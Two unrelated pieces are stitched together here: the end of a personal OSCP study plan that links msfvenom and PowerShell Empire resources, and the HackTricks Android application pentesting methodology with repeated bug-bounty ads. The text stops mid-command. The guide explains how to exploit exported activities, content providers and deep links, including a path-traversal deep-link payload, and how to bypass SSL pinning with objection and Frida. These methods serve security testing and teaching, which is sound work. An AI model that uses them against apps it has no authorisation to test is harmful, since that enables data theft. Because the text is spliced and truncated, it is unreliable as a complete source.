Sheets: ``` http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/ https://netsec.ws/?p=331 https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom ``` ``` Expected: 4 hours ``` ## 𝐏𝐨𝐰𝐞𝐫𝐬𝐡𝐞𝐥𝐥 𝐄𝐦𝐩𝐢𝐫𝐞 > - Powershell Empire: https://github.com/BC-SECURITY/Empire > - Powershell Empire Guide: https://alpinesecurity.com/blog/empire-a-powershell-post-exploitation-tool/ ``` Expected: 4 hours ``` ## 𝐓𝐫𝐲𝐢𝐧𝐠 𝐇𝐚𝐫𝐝𝐞𝐫: 𝐓𝐡𝐞 𝐋𝐚𝐛𝐬 - HTB VM List: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159 - Vulnhub VM List: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0 # 𝐒𝐭𝐫𝐚𝐭𝐞𝐠𝐲 - Overview: ``` Phase I: Theory, Preparation and Note Taking Phase II: Practice Phase III: OSCP Labs & Origial Course Material Phase IV: OSCP Exam ``` ``` Thought Process: So, Yeah! We have 180 days i.e. 175 remaining. I took a lot of time planning, it's ok tho. One shot, game khallas karna hai. Let's plan: Let's divide OSCP into fundamental components that will require for us to crack OSCP: 1. Theory, theory and theory. In-depth Understanding of lot of topics. 2. Ability to apply knowledge practically. 3. Critical Thinking 4. High Pain threshold. 5. Consistency 6. Note taking Step by step dekha jaye toh, you should have basic understanding of almost everything beforehand so that you don't keep jumping back on phase I from phase II. Do theory, make notes and refer to notes. Have everything at one place! That's it for today, hehe! ``` - [Study Methodology](https://www.reddit.com/r/intj/comments/savbmb/study_tips_from_an_intj_to_an_intj/)
# Android Applications Pentesting <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). </details> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> **HackenProof is home to all crypto bug bounties.** **Get rewarded without delays**\ HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified. **Get experience in web3 pentesting**\ Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days. **Become the web3 hacker legend**\ Gain reputation points with each verified bug and conquer the top of the weekly leaderboard. [**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks! {% embed url="https://hackenproof.com/register" %} ## Android Applications Basics It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**: {% content-ref url="android-applications-basics.md" %} [android-applications-basics.md](android-applications-basics.md) {% endcontent-ref %} ## ADB (Android Debug Bridge) This is the main tool you need to connect to an android device (emulated or physical).\ It allows you to control your device over **USB** or **Network** from a computer, **copy** files back and forth, **install** and uninstall apps, run **shell** commands, perform **backups**, read **logs** and more. Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb. ## Smali Sometimes it is interesting to **modify the application code** to access **hidden information** (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it.\ [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). This could be very useful as an **alternative for several tests during the dynamic analysis** that are going to presented. Then, **keep always in mid this possibility**. ## Other interesting tricks * [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) * **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) * Extract APK from device: ``` adb shell pm list packages com.android.insecurebankv2 adb shell pm path com.android.insecurebankv2 package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> **HackenProof is home to all crypto bug bounties.** **Get rewarded without delays**\ HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified. **Get experience in web3 pentesting**\ Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days. **Become the web3 hacker legend**\ Gain reputation points with each verified bug and conquer the top of the weekly leaderboard. [**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks! {% embed url="https://hackenproof.com/register" %} ## Static Analysis First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ Please, [**read here to find information about different available decompilers**](apk-decompilers.md). ### Looking for interesting Info Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app). **Firebase** Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basic understanding of the application - Manifest.xml, strings.xml Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it.\ Reading the **manifest** you can find **vulnerabilities**: * First of all, check if **the application is debuggeable**. A production APK shouldn't be (or others will be able to connect to it). You can check if an application is debbugeable looking in the manifest for the attribute `debuggable="true"` inside the tag _\<application_ Example: `<application theme="@2131296387" debuggable="true"` * [Learn here](drozer-tutorial/#is-debuggeable) how to find debuggeable applications in a phone and exploit them * **Backup**: The **`android:allowBackup`** attribute defines whether application data can be backed up and restored by a user who has enabled usb debugging. If backup flag is set to true, it allows an attacker to take the backup of the application data via adb even if the device is not rooted. Therefore applications that handle and store sensitive information such as card details, passwords etc. should have this setting explicitly set to **false** because by default it is set to **true** to prevent such risks. * `<application android:allowBackup="false"` * **NetworkSecurity:** The application network security can be overwritten the defaults values with **`android:networkSecurityConfig="@xml/network_security_config"`**. A file with that name may be put in _**res/xml.**_ This file will configure important security settings like certificate pins or if it allows HTTP traffic. You can read here more information about all the things that can be configure, but check this example about how to configure HTTP traffic for some domains: * `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>` * **Exported activities**: Check for exported activities inside the manifest as this could be dangerous. Later in the dynamic analysis it will be explained how [you can abuse this behaviour](./#exploiting-exported-activities-authorisation-bypass). * **Content Providers**: If an exported provider is being exposed, you could b able to access/modify interesting information. In dynamic analysis [you will learn how to abuse them](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information). * Check for **FileProviders** configurations inside the attribute `android:name="android.support.FILE_PROVIDER_PATHS"`. [Read here to learn more about FileProviders](./#fileprovider). * **Exposed Services**: Depending on what the service is doing internally vulnerabilities could be exploited. In dynamic analysis [you will learn how to abuse them](./#exploiting-services). * **Broadcast Receivers**: [You will learn how you can possibly exploit them](./#exploiting-broadcast-receivers) during the dynamic analysis. * **URL scheme**: Read the code of the activity managing the schema and look for vulnerabilities managing the input of the user. More info about [what is an URL scheme here](./#url-schemes). * **minSdkVersion**, **targetSDKVersion**, **maxSdkVersion**: They indicate the versions of Android the app will run on. It's important to keep them in mind because from a security perspective, supporting old version will allow known vulnerable versions of android to run it. Reading **resources.arsc/strings.xml** you can find some **interesting info**: * API Keys * Custom schemas * Other interesting info developers save in this file ### Tapjacking **Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\ In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**. In order to detect apps vulnerable to this attacked you should search for **exported activities** in the android manifest (note that an activity with an intent-filter is automatically exported by default). Once you have found the exported activities, **check if they require any permission**. This is because the **malicious application will need that permission also**.\ Finally, it's important to check the code for possible **`setFilterTouchesWhenObscured`** configurations. If set to **`true`**, a button can be automatically disabled if it is obscured: ```markup <Button android:text="Button" android:id="@+id/button1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:filterTouchesWhenObscured="true"> </Button> ``` You can use [**qark**](https://github.com/linkedin/qark) with the `--exploit-apk` parameter to create a malicious application to test for possible **Tapjacking** vulnerabilities.\ A example project implementing this kind of feature can be fund in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp). The mitigation is relatively simple as the developer may choose not to receive touch events when a view is covered by another. Using the [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security): > Sometimes it is essential that an application be able to verify that an action is being performed with the full knowledge and consent of the user, such as granting a permission request, making a purchase or clicking on an advertisement. Unfortunately, a malicious application could try to spoof the user into performing these actions, unaware, by concealing the intended purpose of the view. As a remedy, the framework offers a touch filtering mechanism that can be used to improve the security of views that provide access to sensitive functionality. > > To enable touch filtering, call [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) or set the android:filterTouchesWhenObscured layout attribute to true. When enabled, the framework will discard touches that are received whenever the view's window is obscured by another visible window. As a result, the view will not receive touches whenever a toast, dialog or other window appears above the view's window. ### Task Hijacking {% content-ref url="android-task-hijacking.md" %} [android-task-hijacking.md](android-task-hijacking.md) {% endcontent-ref %} ### Insecure data storage **Internal Storage** Files **created** on **internal** storage are **accessible** only by the **app**. This protection is implemented by Android and is sufficient for most applications. But developers often use `MODE_WORLD_READBALE` & `MODE_WORLD_WRITABLE` to give access to those files to a different application, but this doesn’t limit other apps(malicious) from accessing them.\ During the **static** analysis **check** for the use of those **modes**, during the **dynamic** analysis **check** the **permissions** of the files created (maybe some of them are worldwide readable/writable).\ [More information about this vulnerability and how to fix it here.](https://manifestsecurity.com/android-application-security-part-8/) **External Storage** Files created on **external storage**, such as SD Cards, are **globally readable and writable**. Because external storage can be removed by the user and also modified by any application, you should **not store sensitive information using external storage**.\ As with data from any untrusted source, you should **perform input validation** when handling **data from external storage**. We strongly recommend that you not store executables or class files on external storage prior to dynamic loading. If your app does retrieve executable files from external storage, the files should be signed and cryptographically verified prior to dynamic loading.\ Info taken from [here](https://manifestsecurity.com/android-application-security-part-8/). External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` {% hint style="info" %} Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. {% endhint %} **Sensitive data stored in clear-text** * **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data/<packagename>/shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder. * **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data/<packagename>/databases/` and sometimes it's possible to find sensitive information in clear-text in that folder. ### Broken TLS **Accept All Certificates** For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. ### Broken Cryptography **Poor Key Management Processes** Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information. **Use of Insecure and/or Deprecated Algorithms** Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. ### Other checks * It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. * If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. * If the app is sensitive (like bank apps), it should check if an **emulator** is being used. * If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. * Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK ### React Native Application Read the following page to learn how to easily access javascript code of React applications: {% content-ref url="react-native-application.md" %} [react-native-application.md](react-native-application.md) {% endcontent-ref %} ### Xamarin Applications Read the following page to learn how to easily access C# code of a xamarin applications: {% content-ref url="../xamarin-apps.md" %} [xamarin-apps.md](../xamarin-apps.md) {% endcontent-ref %} ### Superpacked Applications According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** ### Automated Static Code Analysis The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication {% content-ref url="bypass-biometric-authentication-android.md" %} [bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md) {% endcontent-ref %} ### Other interesting functions * **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` * **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` * **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` * [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) ### **Other tricks** {% content-ref url="content-protocol.md" %} [content-protocol.md](content-protocol.md) {% endcontent-ref %} <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> **HackenProof is home to all crypto bug bounties.** **Get rewarded without delays**\ HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified. **Get experience in web3 pentesting**\ Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days. **Become the web3 hacker legend**\ Gain reputation points with each verified bug and conquer the top of the weekly leaderboard. [**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks! {% embed url="https://hackenproof.com/register" %} ## Dynamic Analysis > First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. ### Online Dynamic analysis You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../.gitbook/assets/image (60).png>) Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. ### Local Dynamic Analysis You can use some **emulator** like: * [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). * If you want to try to **install** an **image** and then you want to **delete it** you can do that on Windows:`C:\Users\<User>\AppData\Local\Android\sdk\system-images\` or Mac: `/Users/myeongsic/Library/Android/sdk/system-image` * This is the **main emulator I recommend to use and you can**[ **learn to set it up in this page**](avd-android-virtual-device.md). * [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) * [Nox](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). {% hint style="info" %} When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. {% endhint %} As most people will use **Genymotion**, note this trick. To **install google services** (like AppStore) you need to click on the red marked button of the following image: ![](<../../.gitbook/assets/image (200) (1).png>) Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). Or you could use a **physical** **device** (you need to activate the debugging options and it will be cool if you can root it): 1. **Settings**. 2. (FromAndroid 8.0) Select **System**. 3. Select **About phone**. 4. Press **Build number** 7 times. 5. Go back and you will find the **Developer options**. > Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ > I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so will will be able to **learn how the application works** while MobSF **capture** a lot of **interesting** **data** you can review later on. ### Unintended Data Leakage **Logging** Often Developers leave debugging information publicly. So any application with `READ_LOGS` permission can **access those logs** and can gain sensitive information through that.\ While navigating through the application use [**pidcat**](https://github.com/JakeWharton/pidcat)_(Recommended, it's easier to use and read_) or [adb logcat](adb-commands.md#logcat) to read the created logs and **look for sensitive information**. {% hint style="warning" %} Note that from l**ater versions that Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ Anyway, it's still recommended to **not log sensitive information**. {% endhint %} **Copy/Paste Buffer Caching** Android provides **clipboard-based** framework to provide copy-paste function in android applications. But this creates serious issue when some **other application** can **access** the **clipboard** which contain some sensitive data. **Copy/Paste** function should be **disabled** for **sensitive part** of the application. For example, disable copying credit card details. **Crash Logs** If an application **crashes** during runtime and it **saves logs** somewhere then those logs can be of help to an attacker especially in cases when android application cannot be reverse engineered. Then, avoid creating logs when applications crashes and if logs are sent over the network then ensure that they are sent over an SSL channel.\ As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** Most of the application uses other services in their application like Google Adsense but sometimes they **leak some sensitive data** or the data which is not required to sent to that service. This may happen because of the developer not implementing feature properly. You can **look by intercepting the traffic** of the application and see whether any sensitive data is sent to 3rd parties or not. ### SQLite DBs Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>` ### Drozer (Exploit Activities, Content Providers and Services) **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. From [Drozer Guide](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).\ Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. ### Exploiting exported Activities [**Read this if you want to remind what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ Also remember that the code of an activity starts with the `onCreate` method. **Authorisation bypass** When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**\ [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities) You can also start an exported activity from adb: * PackageName is com.example.demo * Exported ActivityName is com.example.test.MainActivity ``` adb shell am start -n com.example.demo/com.example.test.MainActivity ``` **NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). {% hint style="info" %} Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. {% endhint %} **Sensitive information leakage** **Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to remind what is a Content Provider.**](android-applications-basics.md#content-provider)\ Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.\ [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/#content-providers) ### **Exploiting Services** [**Read this if you want to remind what is a Service.**](android-applications-basics.md#services)\ Remember that a the actions of a Service start in the method `onStartCommand`. As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/#services) ### **Exploiting Broadcast Receivers** [**Read this if you want to remind what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](./#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ You can **open** a declared **scheme** using **adb** or a **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` _Note that you can **omit the package name** and the mobile will automatically call the app that should open that link._ ```markup <!-- Browser regular link --> <a href="scheme://hostname/path?param=value">Click me</a> <!-- fallback in your url you could try the intent url --> <a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a> ``` **Code executed** In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. ![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) **Sensitive info** Every time you find a deep link check that i**t's not receiving sensitive data (like passwords) via URL parameters**, because any other application could **impersonate the deep link and steal that data!** **Parameters in path** You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). ### Insufficient Transport Layer Protection * **Lack of Certificate Inspection:** Android Application fails to verify the identity of the certificate presented to it. Most of the application ignore the warnings and accept any self-signed certificate presented. Some Application instead pass the traffic through an HTTP connection. * **Weak Handshake Negotiation:** Application and server perform an SSL/TLS handshake but use an insecure cipher suite which is vulnerable to MITM attacks. So any attacker can easily decrypt that connection. * **Privacy Information Leakage:** Most of the times it happens that Applications do authentication through a secure channel but rest all connection through non-secure channel. That doesn’t add to security of application because rest sensitive data like session cookie or user data can be intercepted by an malicious user. From the 3 scenarios presented we are going to discuss **how to verify the identity of the certificate**. The other 2 scenarios depends on the **TLS configuratio**n of the server and if the **application sends unencrypted data**. The pentester should check by it's own the TLS configuration of the server ([here](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)) and detect if any **confidential information is sent by an unencrypted/vulnerable** channel .\ More information about how to discover and fix these kind of vulnerabilities [**here**](https://manifestsecurity.com/android-application-security-part-10/). **SSL Pinning** By default, when making an SSL connection, the client(android app) checks that the server’s certificate has a verifiable chain of trust back to a trusted (root) certificate and matches the requested hostname. This lead to problem of **Man in the Middle Attacks(MITM)**.\ In certificate Pinnning, an Android Application itself contains the certificate of server and only transmit data if the same certificate is presented.\ It's recommended to **apply SSL Pinning** for the sites where sensitive information is going to be sent. ### Inspecting HTTP traffic First of all, you should (must) **install the certificate** of the **proxy** tool that you are going to use, probably Burp. If you don't install the CA certificate of the proxy tool, you probably aren't going to see the encrypted traffic in the proxy.\ **Please,** [**read this guide to learn how to do install a custom CA certificate**](android-burp-suite-settings.md)**.** For applications targeting **API Level 24+ it isn't enough to install the Burp CA** certificate in the device. To bypass this new protection you need to modify the Network Security Config file. So, you could modify this file to authorise your CA certificate or you can [**read this page for a tutorial on how to force the application to accept again all the installed certificate sin the device**](make-apk-accept-ca-certificate.md). **SSL Pinning** We have already discuss what is SSL Pinning just 2 paragraphs before. When it's implemented in an application you will need to bypass it to inspect the HTTPS traffic or you won't see it.\ Here I'm going to present a few options I've used to bypass this protection: * Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. * You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) * You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` * You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) * If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) **Common Web vulnerabilities** Note that in this step you should look for common web vulnerabilities. A lot of information about web vulnerabilities be found in this book so I'm not going to mention them here. ### Frida Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at [www.frida.re](https://www.frida.re).\ **It's amazing, you can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\ **If you want to pentest Android applications you need to know how to use Frida.** **Learn how to use Frida:** [**Frida tutorial**](frida-tutorial/)\ **Some "GUI" for actions with Frida:** [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)\ **Some other abstractions based on Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)\ **You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ### **Android Application Analyzer** This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer) ### Intent Injection This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object.\ Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc.\ This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. ### Android Client Side Injections and others Probably you know about this kind of vulnerabilities from the Web. You have to be specially careful with this vulnerabilities in an Android application: * **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries. * **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled). * **Local File Inclusion:** Verify that File System Access is disabled for any WebViews (enabled by default) `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). * **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk * [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags) <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> **HackenProof is home to all crypto bug bounties.** **Get rewarded without delays**\ HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified. **Get experience in web3 pentesting**\ Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days. **Become the web3 hacker legend**\ Gain reputation points with each verified bug and conquer the top of the weekly leaderboard. [**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks! {% embed url="https://hackenproof.com/register" %} ## Automatic Analysis ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) **Static analysis** ![](<../../.gitbook/assets/image (61).png>) **Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment). ``` docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 